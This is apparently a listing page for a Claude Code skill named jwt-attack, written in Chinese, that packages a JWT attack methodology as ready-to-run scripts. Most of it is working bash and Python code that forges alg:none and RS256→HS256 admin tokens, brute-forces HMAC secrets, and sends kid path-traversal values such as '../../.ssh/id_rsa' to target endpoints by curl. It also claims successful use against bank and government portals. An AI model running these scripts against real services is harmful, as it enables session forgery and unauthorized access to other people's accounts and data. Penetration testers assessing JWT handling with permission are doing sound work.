关于 jwt-attack
jwt-attack 是面向安全测试人员的 JWT 攻击方法指南,涵盖令牌分析、伪造与验证。它整理了多种签名与令牌处理弱点的测试步骤及确认条件。
主要功能
- 01解码并分析 JWT
- 02测试 alg:none 与算法混淆
- 03暴力破解弱 HMAC 密钥
- 04检查 kid 注入与过期令牌复用
- 05从 JavaScript 包提取硬编码令牌
适用场景
- 01评估 Bearer 令牌认证的 API
- 02测试令牌能否绕过访问控制
- 03检查前端资源是否泄露 JWT
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill jwt-attack安装后在 Claude Code 中输入/jwt-attack确认已加载。
详细介绍
JWT 攻击技能
完整的 JWT 攻击方法——未经验证直接解码、算法混淆(alg:none、RS256→HS256)、弱密钥暴力破解(hashcat/john/简单脚本)、kid 注入、重复使用过期令牌,以及从 JS 包中提取硬编码 JWT。已在 enterprise-portal(基于 JWT 的会话)、fintech-processor(Efí 银行日志中的 315 个 JWT 令牌)、fitness-chain(3 个有效期至 2027 年的 JWT 会话)、delivery-platform(JS 包中的硬编码 JWT)和 gov-finance-portal(Vite 源码中泄露的 JWT 密钥)中确认。
适用场景
- API 使用
Authorization: Bearer eyJ...标头。 - JavaScript 包中包含
eyJ...令牌模式。 js-secrets-extraction找到 JWT 令牌之后。api-noauth-hunt需要伪造令牌以绕过身份验证时。- Cookie 中包含
jwt=、token=或session=,且值经过 Base64 编码。
前置条件
- 配备 curl 和 python3 的
terminal。 - 待攻击的 JWT 令牌(来自侦察)。
- 暴力破解时:用于高速破解的
hashcat或john(可选)。
运行方法
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
快速参考
| 攻击 | 前置条件 | 影响 | 难度 |
|---|---|---|---|
| alg:none | 服务端接受 alg: "none" | 完整管理员访问权限 | 简单 |
| RS256→HS256 | JWT 使用 RS256 签名 | 完整管理员访问权限 | 中等(需要公钥) |
| 弱 HMAC 密钥 | HS256 使用弱密钥 | 完整管理员访问权限 | 中等(需要破解) |
| kid 注入 | 服务端信任 kid 标头 | RCE/LFI | 困难 |
| 重复使用过期令牌 | 服务端不验证 exp | 会话持久化 | 极简单 |
| 硬编码 JWT | 在 JS/源码中发现 JWT | JWT 所授予的任意权限 | 极简单 |
操作步骤
阶段 1 — JWT 解码与分析
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fi
阶段 2 — alg:none 攻击
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fi
阶段 3 — RS256→HS256 密钥混淆
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fi
阶段 4 — 弱 HMAC 密钥暴力破解
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"
阶段 5 — Kid 注入(路径遍历 / SQLi)
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
done
注意事项
- alg:none 很少见。 自 2017 年起,大多数 JWT 库默认都会拒绝它。但仍存在使用旧版库的应用。
- RS256→HS256 需要公钥。 公钥通常可从
/.well-known/jwks.json或 JS 包中获取。 - Python 暴力破解速度较慢。 HS256 请使用
hashcat -m 16500,或使用john进行生产级速度的破解。 - Laravel Passport 使用
jti验证。 即使你伪造了有效 JWT,Passport 仍会检查数据库中是否存在该jti(JWT ID)。 - Auth0/Firebase 使用 JWKS。 服务端会从
/.well-known/jwks.json获取公钥——alg:none 不会奏效,因为服务端始终会使用公钥进行验证。
验证
- alg:none:伪造的令牌必须能够访问受保护资源,并返回 HTTP 200。
- RS256→HS256:伪造的令牌必须通过服务端验证,验证时将公钥用作 HMAC 密钥。
- HS256 暴力破解:破解出的密钥必须能为修改后的负载生成有效签名。
- 硬编码 JWT:必须使用该令牌访问 API,确认其仍然有效。
- Kid 注入:对于注入的 kid 和无效签名,服务端必须返回不同的错误(这表明服务端正在处理 kid)。
评论
支持 Markdown